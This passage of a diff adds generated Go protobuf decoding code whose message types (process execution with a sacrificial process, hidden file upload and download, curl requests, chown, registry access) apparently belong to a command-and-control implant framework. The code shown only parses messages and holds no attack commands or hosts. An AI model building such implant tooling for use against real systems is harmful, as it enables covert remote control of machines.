stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ProcessName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field EntryPoint", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.EntryPoint = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + case 9: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + m.Arch = 0 + m.Arch, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 11: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 13: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 14: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Context", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Context = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 15: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Delay", wireType) + } + m.Delay = 0 + m.Delay, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteCommand) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteCommand: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteCommand: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Command", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Command = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *UploadRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: UploadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: UploadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Target = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Priv", wireType) + } + m.Priv = 0 + m.Priv, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Override", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Override = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BufferSize", wireType) + } + m.BufferSize = 0 + m.BufferSize, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Dir", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Dir = bool(v != 0) + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Checksum", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Checksum = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + m.Size, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cur", wireType) + } + m.Cur = 0 + m.Cur, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Content", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Content = append(m.Content[:0], dAtA[iNdEx:postIndex]...) + if m.Content == nil { + m.Content = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CurlRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CurlRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CurlRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Url", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Url = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Method", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Method = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Body", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Body = append(m.Body[:0], dAtA[iNdEx:postIndex]...) + if m.Body == nil { + m.Body = []byte{} + } + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Header", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Header == nil { + m.Header = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Header[mapkey] = mapvalue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Hostname", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Hostname = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ChownRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ChownRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ChownRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Uid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Uid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Gid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Gid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Recursive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Recursive = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *IfconfigResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: IfconfigResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: IfconfigResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NetInterfaces", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.NetInterfaces = append(m.NetInterfaces, &NetInterface{}) + if err := m.NetInterfaces[len(m.NetInterfaces)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *RegistryRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: RegistryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: RegistryRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Registry", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Registry == nil { + m.Registry = &Registry{} + } + if err := m.Registry.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return 